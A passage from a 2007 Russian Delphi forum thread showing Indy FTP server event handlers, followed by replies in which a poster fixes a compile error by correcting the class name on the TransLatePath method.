 ASender: TIdFTPServerThread; const APath: String;
 ADirectoryListing: TIdFTPListItems);

 procedure AddlistItem( aDirectoryListing: TIdFTPListItems; Filename: string; ItemType: TIdDirItemType; size: int64; date: tdatetime ) ;
 var
   listitem: TIdFTPListItem;
 begin
   listitem := aDirectoryListing.Add;
   listitem.ItemType := ItemType;
   listitem.FileName := Filename;
   listitem.OwnerName := "anonymous";
   listitem.GroupName := "all";
   listitem.OwnerPermissions := "---";
   listitem.GroupPermissions := "---";
   listitem.UserPermissions := "---";
   listitem.Size := size;
   listitem.ModifiedDate := date;
 end;

var
 f: tsearchrec;
 a: integer;
begin
 ADirectoryListing.DirectoryName := apath;

 a := FindFirst( TransLatePath( apath, ASender.HomeDir ) + "*.*", faAnyFile, f ) ;
 while ( a = 0 ) do
 begin
   if ( f.Attr and faDirectory > 0 ) then
     AddlistItem( ADirectoryListing, f.Name, ditDirectory, f.size, FileDateToDateTime( f.Time ) )
   else
     AddlistItem( ADirectoryListing, f.Name, ditFile, f.size, FileDateToDateTime( f.Time ) ) ;
   a := FindNext( f ) ;
 end;

 FindClose( f ) ;
end;

procedure TServerForm.IdFTPServer1RenameFile(ASender: TIdFTPServerThread;
 const ARenameFromFile, ARenameToFile: String);
begin
if not MoveFile( pchar( TransLatePath( ARenameFromFile, ASender.HomeDir ) ) , pchar( TransLatePath( ARenameToFile, ASender.HomeDir ) ) ) then
   RaiseLastWin32Error;
end;

procedure TServerForm.IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread;
 const AFileName: String; var VStream: TStream);
begin
VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmopenread or fmShareDenyWrite ) ;
end;

procedure TServerForm.IdFTPServer1StoreFile(ASender: TIdFTPServerThread;
 const AFileName: String; AAppend: Boolean; var VStream: TStream);
begin
if FileExists( translatepath( AFilename, ASender.HomeDir ) ) and AAppend then
 begin
   VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmOpenWrite or fmShareExclusive ) ;
   VStream.Seek( 0, soFromEnd ) ;
 end
 else
   VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmCreate or fmShareExclusive ) ;
end;

procedure TServerForm.IdFTPServer1RemoveDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
RmDir( TransLatePath( VDirectory, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1MakeDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
MkDir( TransLatePath( VDirectory, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1GetFileSize(ASender: TIdFTPServerThread;
 const AFilename: String; var VFileSize: Int64);
begin
VFileSize := GetSizeOfFile( TransLatePath( AFilename, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1DeleteFile(ASender: TIdFTPServerThread;
 const APathName: String);
begin
DeleteFile( pchar( TransLatePath( ASender.CurrentDir + "/" + APathname, ASender.HomeDir ) ) ) ;
end;

procedure TServerForm.IdFTPServer1ChangeDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
VDirectory := GetNewDirectory( ASender.CurrentDir, VDirectory ) ;
end;

end.

---

← →
Мистик   (2007-04-11 12:27) [18]

> И как же она "прописана" ?


protected
  function TransLatePath( const APathname, homeDir: string ) : string;

---

← →
Сергей М. ©   (2007-04-11 12:41) [19]

Так.

Вот при все при этом ты утверждаешь, что компилятор, выводя упомянутую ошибку, указывает именно на строчку

function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;

?

---

← →
Мистик   (2007-04-11 13:01) [20]

Я нашел ответ. Все очень просто оказалось :)))

Вместо
function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;
Нужно было написать
function TServerForm.TransLatePath(const APathname, homeDir: string ):string;

Дело было в наименовании класса формы (незнаю как точно это называется).

Когда портировал код , пропустил этот момент.

Спасибо большое за помощь

---

← →
Сергей М. ©   (2007-04-11 13:19) [21]

> незнаю как точно это называется


Ну и причем здесь, спрашивается, консоль там или не консоль ?)

---

Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2007.12.23;
Скачать: [xml.tar.bz2];

Наверх

Память: 0.58 MB
Время: 0.054 c